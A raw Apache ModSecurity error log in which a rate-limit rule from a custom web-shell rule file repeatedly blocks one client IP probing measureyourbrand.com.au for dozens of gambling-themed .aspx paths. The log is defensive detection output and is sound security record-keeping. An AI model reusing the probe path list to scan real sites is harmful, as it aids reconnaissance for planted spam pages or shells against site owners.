[Fri Apr 03 22:27:41.731893 2026] [:error] [pid 55174:tid 55191] [client 143.20.64.97:46520] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "ac_OXZ_WKqUonPNUHYwHGgAAAc8"]
[Fri Apr 03 22:27:44.221137 2026] [:error] [pid 40533:tid 40558] [client 143.20.64.97:56024] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "ac_OYPbIAA8AViDmwsvHHgAAAVc"]
[Fri Apr 03 22:27:46.587432 2026] [:error] [pid 33542:tid 33549] [client 143.20.64.97:56036] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "ac_OYnwb6uB1LaGtepYQhgAAAMQ"]
[Fri Apr 03 22:27:49.126049 2026] [:error] [pid 33445:tid 33455] [client 143.20.64.97:56038] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "ac_OZVlRNZ0iDVmJWM0wwQAAAAU"]
[Fri Apr 03 22:27:51.670859 2026] [:error] [pid 55174:tid 55180] [client 143.20.64.97:56048] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "ac_OZ5_WKqUonPNUHYwHJQAAAcQ"]
[Fri Apr 03 22:27:54.032146 2026] [:error] [pid 33445:tid 33453] [client 143.20.64.97:36018] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "ac_OallRNZ0iDVmJWM0wzAAAAAM"]
[Fri Apr 03 22:27:56.543310 2026] [:error] [pid 40533:tid 40552] [client 143.20.64.97:36026] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "ac_ObPbIAA8AViDmwsvHKgAAAVE"]
[Fri Apr 03 22:27:59.045439 2026] [:error] [pid 35469:tid 35478] [client 143.20.64.97:36040] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "ac_Ob6GvTIc8-wY3jUS8FQAAAQc"]
[Fri Apr 03 22:28:01.599218 2026] [:error] [pid 33445:tid 33462] [client 143.20.64.97:36052] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "ac_OcVlRNZ0iDVmJWM0w6gAAAAw"]
[Fri Apr 03 22:28:03.976246 2026] [:error] [pid 40533:tid 40549] [client 143.20.64.97:39852] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "ac_Oc_bIAA8AViDmwsvHPgAAAU4"]
[Fri Apr 03 22:28:06.491993 2026] [:error] [pid 33445:tid 33457] [client 143.20.64.97:39856] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ac_OdllRNZ0iDVmJWM0w9AAAAAc"]
[Fri Apr 03 22:28:08.983004 2026] [:error] [pid 33542:tid 33559] [client 143.20.64.97:39868] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ac_OeHwb6uB1LaGtepYQuAAAAM4"]
[Fri Apr 03 22:28:29.867504 2026] [:error] [pid 33445:tid 33465] [client 143.20.64.97:39878] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ac_OjVlRNZ0iDVmJWM0xVgAAAA8"]
[Fri Apr 03 22:28:32.340059 2026] [:error] [pid 33445:tid 33472] [client 143.20.64.97:56008] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "ac_OkFlRNZ0iDVmJWM0xYQAAABY"]
[Fri Apr 03 22:28:34.832720 2026] [:error] [pid 33445:tid 33455] [client 143.20.64.97:59224] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "ac_OkllRNZ0iDVmJWM0xYwAAAAU"]
[Fri Apr 03 22:28:37.347248 2026] [:error] [pid 40533:tid 40551] [client 143.20.64.97:59232] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "ac_OlfbIAA8AViDmwsvHjwAAAVA"]
[Fri Apr 03 22:28:39.840711 2026] [:error] [pid 33446:tid 33492] [client 143.20.64.97:59234] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "ac_Ol9g3dCqFYIIdw0qKLwAAAE8"]
[Fri Apr 03 22:28:42.337289 2026] [:error] [pid 40533:tid 40550] [client 143.20.64.97:59238] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "ac_OmvbIAA8AViDmwsvHnAAAAU8"]
[Fri Apr 03 22:28:44.824068 2026] [:error] [pid 55174:tid 55178] [client 143.20.64.97:45488] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "ac_OnJ_WKqUonPNUHYwHVAAAAcI"]
[Fri Apr 03 22:28:47.141940 2026] [:error] [pid 40562:tid 40584] [client 143.20.64.97:45504] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "ac_OnzfFMXuP9zvqCeqeKAAAAZM"]
[Fri Apr 03 22:28:49.655887 2026] [:error] [pid 55174:tid 55190] [client 143.20.64.97:45508] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "ac_OoZ_WKqUonPNUHYwHWAAAAc4"]
[Fri Apr 03 22:28:52.163089 2026] [:error] [pid 40533:tid 40543] [client 143.20.64.97:45512] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "ac_OpPbIAA8AViDmwsvHvQAAAUg"]
[Fri Apr 03 22:28:54.691792 2026] [:error] [pid 33542:tid 33550] [client 143.20.64.97:40374] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "ac_Opnwb6uB1LaGtepYQ8AAAAMU"]
[Fri Apr 03 22:28:57.208957 2026] [:error] [pid 40533:tid 40536] [client 143.20.64.97:40390] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "ac_OqfbIAA8AViDmwsvHyAAAAUE"]
[Fri Apr 03 22:28:59.581786 2026] [:error] [pid 33445:tid 33471] [client 143.20.64.97:40402] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "ac_Oq1lRNZ0iDVmJWM0x8QAAABU"]
[Fri Apr 03 22:29:02.089101 2026] [:error] [pid 35469:tid 35482] [client 143.20.64.97:40418] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "ac_OrqGvTIc8-wY3jUS8SAAAAQs"]
[Fri Apr 03 22:29:04.590594 2026] [:error] [pid 33445:tid 33457] [client 143.20.64.97:52748] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "ac_OsFlRNZ0iDVmJWM0yCQAAAAc"]
[Fri Apr 03 22:29:07.060630 2026] [:error] [pid 40533:tid 40544] [client 143.20.64.97:52752] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "ac_Os_bIAA8AViDmwsvHzgAAAUk"]
[Fri Apr 03 22:29:09.588038 2026] [:error] [pid 40533:tid 40539] [client 143.20.64.97:52760] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "ac_OtfbIAA8AViDmwsvH0QAAAUQ"]
[Fri Apr 03 22:29:12.090756 2026] [:error] [pid 40533:tid 40542] [client 143.20.64.97:52762] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "ac_OuPbIAA8AViDmwsvH4wAAAUc"]
[Fri Apr 03 22:29:14.606748 2026] [:error] [pid 33447:tid 33526] [client 143.20.64.97:44482] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "ac_OukgaPmDHz92j4lNdFQAAAJY"]
[Fri Apr 03 22:29:17.132303 2026] [:error] [pid 40562:tid 40573] [client 143.20.64.97:44496] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "ac_OvTfFMXuP9zvqCeqeNQAAAYg"]
[Fri Apr 03 22:29:19.630505 2026] [:error] [pid 33445:tid 33460] [client 143.20.64.97:44504] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "ac_Ov1lRNZ0iDVmJWM0yLgAAAAo"]
[Fri Apr 03 22:29:22.129092 2026] [:error] [pid 40533:tid 40549] [client 143.20.64.97:44508] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ac_OwvbIAA8AViDmwsvH7AAAAU4"]
[Fri Apr 03 22:29:24.516991 2026] [:error] [pid 40562:tid 40585] [client 143.20.64.97:37362] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "ac_OxDfFMXuP9zvqCeqeQwAAAZQ"]
[Fri Apr 03 22:29:27.005600 2026] [:error] [pid 33445:tid 33452] [client 143.20.64.97:37370] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "ac_Ox1lRNZ0iDVmJWM0yVAAAAAI"]
[Fri Apr 03 22:29:47.900023 2026] [:error] [pid 33542:tid 33556] [client 143.20.64.97:37378] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "ac_O23wb6uB1LaGtepYRMwAAAMs"]
[Fri Apr 03 22:29:50.344725 2026] [:error] [pid 40562:tid 40578] [client 143.20.64.97:45370] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "ac_O3jfFMXuP9zvqCeqeWwAAAY0"]
[Fri Apr 03 22:29:52.883144 2026] [:error] [pid 33447:tid 33528] [client 143.20.64.97:45382] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "ac_O4EgaPmDHz92j4lNdNgAAAJg"]
[Fri Apr 03 22:29:55.369777 2026] [:error] [pid 33542:tid 33568] [client 143.20.64.97:59644] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ac_O43wb6uB1LaGtepYRQAAAANc"]
[Fri Apr 03 22:29:57.852189 2026] [:error] [pid 40533:tid 40558] [client 143.20.64.97:59652] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "ac_O5fbIAA8AViDmwsvIMgAAAVc"]
[Fri Apr 03 22:30:00.180123 2026] [:error] [pid 40533:tid 40541] [client 143.20.64.97:59658] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ac_O6PbIAA8AViDmwsvIPwAAAUY"]
[Fri Apr 03 22:30:02.699514 2026] [:error] [pid 33446:tid 33493] [client 143.20.64.97:59670] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "ac_O6tg3dCqFYIIdw0qKawAAAFA"]
[Fri Apr 03 22:30:05.180728 2026] [:error] [pid 40533:tid 40540] [client 143.20.64.97:49714] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "ac_O7fbIAA8AViDmwsvISwAAAUU"]
[Fri Apr 03 22:30:07.660969 2026] [:error] [pid 35469:tid 35485] [client 143.20.64.97:49716] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "ac_O76GvTIc8-wY3jUS8aAAAAQ4"]
[Fri Apr 03 22:30:10.004016 2026] [:error] [pid 33447:tid 33510] [client 143.20.64.97:49724] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "ac_O8kgaPmDHz92j4lNdOgAAAIY"]
[Fri Apr 03 22:30:12.501130 2026] [:error] [pid 40562:tid 40568] [client 143.20.64.97:49726] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "ac_O9DfFMXuP9zvqCeqebQAAAYM"]
[Fri Apr 03 22:30:14.977048 2026] [:error] [pid 33542:tid 33565] [client 143.20.64.97:38528] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "ac_O9nwb6uB1LaGtepYRTQAAANQ"]
[Fri Apr 03 22:30:17.344671 2026] [:error] [pid 33445:tid 33461] [client 143.20.64.97:38530] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "ac_O-VlRNZ0iDVmJWM0yjQAAAAs"]
[Fri Apr 03 22:30:19.835176 2026] [:error] [pid 33542:tid 33547] [client 143.20.64.97:38536] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ac_O-3wb6uB1LaGtepYRWgAAAMI"]
[Fri Apr 03 22:30:22.301486 2026] [:error] [pid 40533:tid 40538] [client 143.20.64.97:38548] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "ac_O_vbIAA8AViDmwsvIZgAAAUM"]
[Fri Apr 03 22:30:24.640852 2026] [:error] [pid 55174:tid 55186] [client 143.20.64.97:56314] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "ac_PAJ_WKqUonPNUHYwHhQAAAco"]
[Fri Apr 03 22:30:27.164920 2026] [:error] [pid 33447:tid 33525] [client 143.20.64.97:56316] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "ac_PA0gaPmDHz92j4lNdRgAAAJU"]
[Fri Apr 03 22:30:29.671752 2026] [:error] [pid 33446:tid 33501] [client 143.20.64.97:56332] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "ac_PBdg3dCqFYIIdw0qKiAAAAFg"]
